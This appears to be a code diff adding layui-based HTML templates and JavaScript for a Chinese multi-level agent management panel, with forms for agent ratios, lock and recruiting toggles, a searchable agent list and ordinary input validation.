<input type="radio" name="is_lock" value="0" title="开启" {{ d.params.is_lock == '0' ? 'checked' : '' }}>
|
||||
<input type="radio" name="is_lock" value="1" title="锁定" {{ d.params.is_lock == '1' ? 'checked' : '' }}>
|
||||
{{# }else{ }}
|
||||
<input type="radio" name="is_lock" value="0" title="开启" checked>
|
||||
<input type="radio" name="is_lock" value="1" title="锁定">
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">当锁定时,该用户不能登录代理商管理平台</div>
|
||||
</div>
|
||||
<div class="layui-form-item" lay-filter="sex">
|
||||
<label class="layui-form-label">是否拉新</label>
|
||||
<div class="layui-input-block">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.is_lock){ }}
|
||||
<input type="radio" name="is_addson" value="0" title="禁止" {{ d.params.is_addson == '0' ? 'checked' : '' }}>
|
||||
<input type="radio" name="is_addson" value="1" title="允许" {{ d.params.is_addson == '1' ? 'checked' : '' }}>
|
||||
{{# }else{ }}
|
||||
<input type="radio" name="is_addson" value="1" title="允许" checked>
|
||||
<input type="radio" name="is_addson" value="0" title="禁止">
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">当禁止填加新代理商时,该用户不能添加自己的下级代理商</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"></label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="button" lay-submit lay-filter="LAY-user-front-submit" value="确认" class="layui-btn">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form', 'upload' ,'layer'], function(){
|
||||
var $ = layui.$
|
||||
,form = layui.form
|
||||
,upload = layui.upload;
|
||||
|
||||
|
||||
//自定义验证
|
||||
form.verify({
|
||||
nickname: function(value, item){ //value:表单的值、item:表单的DOM对象
|
||||
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
|
||||
return '用户名不能有特殊字符';
|
||||
}
|
||||
if(/(^\_)|(\__)|(\_+$)/.test(value)){
|
||||
return '用户名首尾不能出现下划线\'_\'';
|
||||
}
|
||||
if(/^\d+\d+\d$/.test(value)){
|
||||
return '用户名不能全为数字';
|
||||
}
|
||||
}
|
||||
|
||||
//我们既支持上述函数式的方式,也支持下述数组的形式
|
||||
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
|
||||
,pass: [
|
||||
/^[\S]{6,12}$/
|
||||
,'密码必须6到12位,且不能出现空格'
|
||||
]
|
||||
});
|
||||
|
||||
//上传头像
|
||||
upload.render({
|
||||
elem: '#layuiadmin-upload-useradmin'
|
||||
,url: './json/upload/demo.js'
|
||||
,accept: 'images'
|
||||
,method: 'get'
|
||||
,acceptMime: 'image/*'
|
||||
,done: function(res){
|
||||
$(this.item).prev("div").children("input").val(res.data.src)
|
||||
}
|
||||
});
|
||||
})
|
||||
</script>
|
||||
@@ -0,0 +1,212 @@
|
||||
|
||||
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>代理商</cite></a>
|
||||
<a><cite>代理商用户</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="username" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">是否锁定</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="is_lock">
|
||||
<option value="2">不限</option>
|
||||
<option value="1">锁定</option>
|
||||
<option value="0">未锁定</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">是否拉新</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="is_addson">
|
||||
<option value="2">不限</option>
|
||||
<option value="1">允许拉新</option>
|
||||
<option value="0">禁止拉新</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="LAY-user-front-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
<div style="padding-bottom: 10px;">
|
||||
<!--<button class="layui-btn layuiadmin-btn-useradmin" data-type="batchdel">删除</button>-->
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" data-type="add">添加下级代理商</button>
|
||||
</div>
|
||||
|
||||
<table id="LAY-user-manage" lay-filter="LAY-user-manage"></table>
|
||||
<!--<script type="text/html" id="imgTpl"> -->
|
||||
<!--<img style="display: inline-block; width: 50%; height: 100%;" src= {{ d.avatar }}>-->
|
||||
<!--</script> -->
|
||||
<script type="text/html" id="table-useradmin-webuser">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="edit"><i class="layui-icon layui-icon-edit"></i>编辑</a>
|
||||
<!--<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="addsonagent"><i class="layui-icon layui-icon-add-1"></i>添加其下级代理</a>-->
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="getsons"><i class="layui-icon layui-icon-friends"></i>查看其下级代理</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="this-sons"><i class="layui-icon layui-icon-group"></i>查看其所有会员</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="lockTpl">
|
||||
{{# if(d.is_lock == 1){ }}
|
||||
<i class="layui-icon layui-icon-ok" style="font-size: 21px; color: green;" lay-event="lock"></i>
|
||||
{{# } else { }}
|
||||
<i class="layui-icon layui-icon-close" style="font-size: 21px; color: red;" lay-event="lock"></i>
|
||||
{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="addsonTpl">
|
||||
{{# if(d.is_addson == 1){ }}
|
||||
<i class="layui-icon layui-icon-ok" style="font-size: 21px; color: green;" lay-event="addson"></i>
|
||||
{{# } else { }}
|
||||
<i class="layui-icon layui-icon-close" style="font-size: 21px; color: red;" lay-event="addson"></i>
|
||||
{{# } }}
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'useradmin', 'table' , 'layer'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form;
|
||||
|
||||
form.render(null, 'layadmin-userfront-formlist');
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function(data){
|
||||
var field = data.field;
|
||||
|
||||
//执行重载
|
||||
table.reload('LAY-user-manage', {
|
||||
where: field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
|
||||
if (res.code === 1){
|
||||
layer.msg(res.msg ,{icon : 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//事件
|
||||
var active = {
|
||||
batchdel: function(){
|
||||
var checkStatus = table.checkStatus('LAY-user-manage')
|
||||
,checkData = checkStatus.data; //得到选中的数据
|
||||
|
||||
if(checkData.length === 0){
|
||||
return layer.msg('请选择数据');
|
||||
}
|
||||
|
||||
layer.prompt({
|
||||
formType: 1
|
||||
,title: '敏感操作,请验证口令'
|
||||
}, function(value, index){
|
||||
layer.close(index);
|
||||
|
||||
layer.confirm('确定删除吗?', function(index) {
|
||||
|
||||
//执行 Ajax 后重载
|
||||
/*
|
||||
admin.req({
|
||||
url: 'xxx'
|
||||
//,……
|
||||
});
|
||||
*/
|
||||
table.reload('LAY-user-manage');
|
||||
layer.msg('已删除');
|
||||
});
|
||||
});
|
||||
}
|
||||
,add: function(){
|
||||
layer.prompt({title: '请输入下级代理商帐号', formType: 0, btn :['查询该用户' , '取消']}, function(value, index){
|
||||
layer.close(index);
|
||||
if (value.length == 0) {
|
||||
layer.msg('用户名不能位空', {icon: 5 });
|
||||
}else{
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/searchuser',
|
||||
dataType : "json",
|
||||
data : {username : value},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
admin.popup({
|
||||
title: '添加代理商'
|
||||
,area: ['800px', '650px']
|
||||
,id: 'LAY-popup-user-add'
|
||||
,success: function(layer, index){
|
||||
view(this.id).render('user/user/userform' , result.data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-useradmin'); //渲染表单
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-front-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/addagent',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-manage'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
$('.layui-btn.layuiadmin-btn-useradmin').on('click', function(){
|
||||
var type = $(this).data('type');
|
||||
active[type] ? active[type].call(this) : '';
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
|
||||
<div id="this_all_sons">
|
||||
<table id="LAY-user-sons" lay-filter="LAY-user-sons"></table>
|
||||
</div>
|
||||
@@ -0,0 +1,142 @@
|
||||
|
||||
|
||||
<div class="layui-form" lay-filter="layuiadmin-form-useradmin" style="padding: 20px 0 0 0;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.username){ }}
|
||||
<input type="text" name="username" value="{{ d.params.username || '' }}" lay-verify="required" placeholder="请输入用户名" autocomplete="off" class="layui-input" disabled="">
|
||||
{{# }else{ }}
|
||||
<input type="text" name="username" value="{{ d.params.username || '' }}" lay-verify="required" placeholder="请输入用户名" autocomplete="off" class="layui-input">
|
||||
{{# } }}
|
||||
<input type="hidden" name="user_id" value="{{ d.params.user_id || 0 }}">
|
||||
<input type="hidden" name="agent_id" value="{{ d.params.agent_id || 0 }}">
|
||||
<input type="hidden" name="id" value="{{ d.params.id || 0 }}">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">下级身份</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.son_level == 1 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">一级代理商</button>
|
||||
{{# }else if(d.params.son_level == 2 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">二级代理商</button>
|
||||
{{# }else if(d.params.son_level == 3 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">三级代理商</button>
|
||||
{{# }else if(d.params.son_level == 4 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">四级代理商</button>
|
||||
{{# }else if (d.params.id && d.params.id>0) { }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">{{d.params.self_info}}</button>
|
||||
{{# }else{ }}
|
||||
<button class="layui-btn layui-btn-danger layui-btn-radius">不能添加代理商</button>
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"> 比例(%)</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="pro_loss" value="{{ d.params.pro_loss || '' }}" lay-verify="pro_loss" placeholder="请输入该代理商的 比例,不超过{{ d.params.max_pro_loss || '100' }}" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
<script type="text/html" template>
|
||||
<div class="layui-form-mid layui-word-aux">设置下级代理商的 比例,该值不能超过<span class="layui-badge">{{ d.params.max_pro_loss || '100' }}</span>。只需要输入数字,如20.85%,则输入20.85</div>
|
||||
</script>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">手续费比例(%)</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="pro_ser" value="{{ d.params.pro_ser || '' }}" lay-verify="pro_ser" placeholder="请输入该代理商的手续费比例,不超过{{ d.params.max_pro_ser || '100' }}" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
<script type="text/html" template>
|
||||
<div class="layui-form-mid layui-word-aux">设置下级代理商的手续费比例,该值不能超过<span class="layui-badge">{{ d.params.max_pro_ser || '100' }}</span>。只需要输入数字,如20.85%,则输入20.85</div>
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-item" lay-filter="sex">
|
||||
<label class="layui-form-label">是否锁定</label>
|
||||
<div class="layui-input-block">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.is_lock){ }}
|
||||
<input type="radio" name="is_lock" value="0" title="开启" {{ d.params.is_lock == '0' ? 'checked' : '' }}>
|
||||
<input type="radio" name="is_lock" value="1" title="锁定" {{ d.params.is_lock == '1' ? 'checked' : '' }}>
|
||||
{{# }else{ }}
|
||||
<input type="radio" name="is_lock" value="0" title="开启" checked>
|
||||
<input type="radio" name="is_lock" value="1" title="锁定">
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">当锁定时,该用户不能登录代理商管理平台</div>
|
||||
</div>
|
||||
<div class="layui-form-item" lay-filter="sex">
|
||||
<label class="layui-form-label">是否拉新</label>
|
||||
<div class="layui-input-block">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.is_lock){ }}
|
||||
<input type="radio" name="is_addson" value="0" title="禁止" {{ d.params.is_addson == '0' ? 'checked' : '' }}>
|
||||
<input type="radio" name="is_addson" value="1" title="允许" {{ d.params.is_addson == '1' ? 'checked' : '' }}>
|
||||
{{# }else{ }}
|
||||
<input type="radio" name="is_addson" value="1" title="允许" checked>
|
||||
<input type="radio" name="is_addson" value="0" title="禁止">
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">当禁止填加新代理商时,该用户不能添加自己的下级代理商</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"></label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="button" lay-submit lay-filter="LAY-user-front-submit" value="确认" class="layui-btn">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form', 'upload' ,'layer'], function(){
|
||||
var $ = layui.$
|
||||
,form = layui.form
|
||||
,upload = layui.upload;
|
||||
|
||||
|
||||
//自定义验证
|
||||
form.verify({
|
||||
nickname: function(value, item){ //value:表单的值、item:表单的DOM对象
|
||||
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
|
||||
return '用户名不能有特殊字符';
|
||||
}
|
||||
if(/(^\_)|(\__)|(\_+$)/.test(value)){
|
||||
return '用户名首尾不能出现下划线\'_\'';
|
||||
}
|
||||
if(/^\d+\d+\d$/.test(value)){
|
||||
return '用户名不能全为数字';
|
||||
}
|
||||
}
|
||||
|
||||
//我们既支持上述函数式的方式,也支持下述数组的形式
|
||||
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
|
||||
,pass: [
|
||||
/^[\S]{6,12}$/
|
||||
,'密码必须6到12位,且不能出现空格'
|
||||
]
|
||||
});
|
||||
|
||||
//上传头像
|
||||
upload.render({
|
||||
elem: '#layuiadmin-upload-useradmin'
|
||||
,url: './json/upload/demo.js'
|
||||
,accept: 'images'
|
||||
,method: 'get'
|
||||
,acceptMime: 'image/*'
|
||||
,done: function(res){
|
||||
$(this.item).prev("div").children("input").val(res.data.src)
|
||||
}
|
||||
});
|
||||
})
|
||||
</script>
|
||||